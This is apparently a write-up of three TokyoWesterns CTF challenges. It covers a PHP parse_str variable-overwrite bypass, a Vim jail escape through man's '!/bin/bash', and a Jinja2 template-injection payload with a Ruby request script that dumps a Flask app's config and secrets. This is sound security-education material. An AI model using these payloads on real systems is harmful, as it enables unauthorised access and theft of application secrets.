CTF
SimpleAuth - Web
http://simpleauth.chal.ctf.westerns.tokyo/
< ? php
require_once 'flag.php' ;
if ( !empty ( $_SERVER [ 'QUERY_STRING' ])) {
$query = $_SERVER [ 'QUERY_STRING' ];
$res = parse_str ( $query );
if ( !empty ( $res [ 'action' ])){
$action = $res [ 'action' ];
}
}
if ( $action === 'auth' ) {
if ( !empty ( $res [ 'user' ])) {
$user = $res [ 'user' ];
}
if ( !empty ( $res [ 'pass' ])) {
$pass = $res [ 'pass' ];
}
if ( !empty ( $user ) && !empty ( $pass )) {
$hashed_password = hash ( 'md5' , $user . $pass );
}
if ( !empty ( $hashed_password ) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e' ) {
echo $flag ;
}
else {
echo 'fail :(' ;
}
}
else {
highlight_file ( __FILE__ );
}
Here a ===
operator is used, no loose comparison is possible, and timing attack is nearly impossible.
$hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e'
There are no known vulnerability on hash()
, and it seems not possible to abuse input $user
and $pass
.
if ( !empty ( $user ) && !empty ( $pass )) {
$hashed_password = hash ( 'md5' , $user . $pass );
}
But take a look at the first part of the code:
if ( !empty ( $_SERVER [ 'QUERY_STRING' ])) {
$query = $_SERVER [ 'QUERY_STRING' ];
$res = parse_str ( $query );
if ( !empty ( $res [ 'action' ])){
$action = $res [ 'action' ];
}
}
As you can see parse_str
is used and the PHP manual is telling us that using parse_str
without result
parameter is a very bad idea.
This will dynamically set variables.
This will have a behavior similar to using extract , (I talked about it in a previous article c99.php : A backdoored backdoor ).
We just need $hashed_password
not to be already set.
But $hashed_password
need $user
and $pass
to be defined.
And we have the choice not to create them so $hashed_password
will not be set either.:
if ( !empty ( $res [ 'user' ])) {
$user = $res [ 'user' ];
}
if ( !empty ( $res [ 'pass' ])) {
$pass = $res [ 'pass' ];
}
Now let's see the running PHP version by taking a look at server HTTP header:
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/7.0.31
DEPRECATED as of PHP 7.2.
So we are good to go:
http://simpleauth.chal.ctf.westerns.tokyo/?action=auth&hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e
.
The flag was TWCTF{d0_n0t_use_parse_str_without_result_param}
.
vimshell - Misc
Can you escape from jail?
We begin with vim opened on this page:
diff --git a/src/normal.c b/src/normal.c
index 41c762332..0011afb77 100644
--- a/src/normal.c
+++ b/src/normal.c
@@ -274,7 +274,7 @@ static const struct nv_cmd
{'7', nv_ignore, 0, 0},
{'8', nv_ignore, 0, 0},
{'9', nv_ignore, 0, 0},
- {':', nv_colon, 0, 0},
+ // {':', nv_colon, 0, 0},
{';', nv_csearch, 0, FALSE},
{'<', nv_operator, NV_RL, 0},
{'=', nv_operator, 0, 0},
@@ -297,7 +297,7 @@ static const struct nv_cmd
{'N', nv_next, 0, SEARCH_REV},
{'O', nv_open, 0, 0},
{'P', nv_put, 0, 0},
- {'Q', nv_exmode, NV_NCW, 0},
+ // {'Q', nv_exmode, NV_NCW, 0},
{'R', nv_Replace, 0, FALSE},
{'S', nv_subst, NV_KEEPREG, 0},
{'T', nv_csearch, NV_NCH_ALW|NV_LANG, BACKWARD},
@@ -318,7 +318,7 @@ static const struct nv_cmd
{'d', nv_operator, 0, 0},
{'e', nv_wordcmd, 0, FALSE},
{'f', nv_csearch, NV_NCH_ALW|NV_LANG, FORWARD},
- {'g', nv_g_cmd, NV_NCH_ALW, FALSE},
+ // {'g', nv_g_cmd, NV_NCH_ALW, FALSE},
{'h', nv_left, NV_RL, 0},
{'i', nv_edit, NV_NCH, 0},
{'j', nv_down, 0, FALSE},
This is a patch they applied on vim, disabling us to use :
, Q
and g
shortcuts.
So we can't use something like :shell
or :!/bin/bash
.
I found a Vim Cheat Sheet . K
shortcut opens man page for word under the cursor.
So just press K
and we are in man now.
But their man
is not patched. So we can use !/bin/bash
to have a shell.
Then we just have to look around to find the flag:
vimshell@vimshell-fbc8f84bf-w82t8:/go$ whoami
vimshell
vimshell@vimshell-fbc8f84bf-w82t8:/go$ pwd
/go
vimshell@vimshell-fbc8f84bf-w82t8:/go$ ls ..
bin boot dev etc flag go home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var vim vimshell.patch
vimshell@vimshell-fbc8f84bf-w82t8:/go$ cat ../flag
TWCTF{the_man_with_the_vim}
Shrine - Web
shrine is translated as jinja in Japanese.
The source code is:
import flask
import os
app = flask. Flask ( __name__ )
app.config[ 'FLAG' ] = os.environ. pop ( 'FLAG' )
@app . route ( '/' )
def index ():
return open ( __file__ ). read ()
@app . route ( '/shrine/<path:shrine>' )
def shrine ( shrine ):
def safe_jinja ( s ):
s = s. replace ( '(' , '' ). replace ( ')' , '' )
blacklist = [ 'config' , 'self' ]
return '' . join ([ ' {{% s et {} =None% }} ' . format (c) for c in blacklist]) + s
return flask. render_template_string ( safe_jinja (shrine))
if __name__ == '__main__' :
app. run ( debug = True )
This is a flask app using jinja template engine, let's try a basic {{ 7*7 }}
as a path: http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7B7*7%7D%7D
.
This is resulting into 49
.
So we can make try an SSTI.
We notice this piece of code removing all of our parenthesis, so we can't use things like dir()
or __subclasses__()
.
s = s. replace ( '(' , '' ). replace ( ')' , '' )
Then some global flask methods where removed:
>>> blacklist = [ 'config' , 'self' ]
>>> '' . join ([ ' {{% s et {} =None% }} ' . format (c) for c in blacklist])
'{% set config=None%}{% set self=None%}'
So our request is always prefixed with {% set config=None%}{% set self=None%}
before being rendered by jinja2.
This is only disabling us from using config
or self
globals directly.
OddCoder used url_for
and its method __globals__
to access the current_app
, replacing self
.
So we can call config
from it.
{{ url_for.__globals__["current_app"].config }}
Here is a simple ruby script to make the request:
require 'net/http'
require 'cgi'
# URI
base_url = 'http://shrine.chal.ctf.westerns.tokyo/shrine/'
enc_payload = CGI .escape( '{{ url_for.__globals__["current_app"].config }}' ). gsub ( '+' , '%20' )
uri = URI (base_url + enc_payload)
puts "[+] Requested URI: #{ uri } "
# http config
http = Net :: HTTP . new (uri.host, uri.port)
# prepare request
req = Net :: HTTP :: Get . new (uri)
# fire the request
res = http.request req
puts "[+] HTTP Response: \n "
puts CGI .unescapeHTML(res.body)
Output:
ruby req.rb
[+] Requested URI: http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7B%20url_for.__globals__%5B%22current_app%22%5D.config%20%7D%7D
[+] HTTP Response:
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'FLAG': 'TWCTF{pray_f0r_sacred_jinja2}'}>
So http://shrine.chal.ctf.westerns.tokyo/shrine/{{ url_for.__globals__["current_app"].config["FLAG"] }}
results in TWCTF{pray_f0r_sacred_jinja2}
.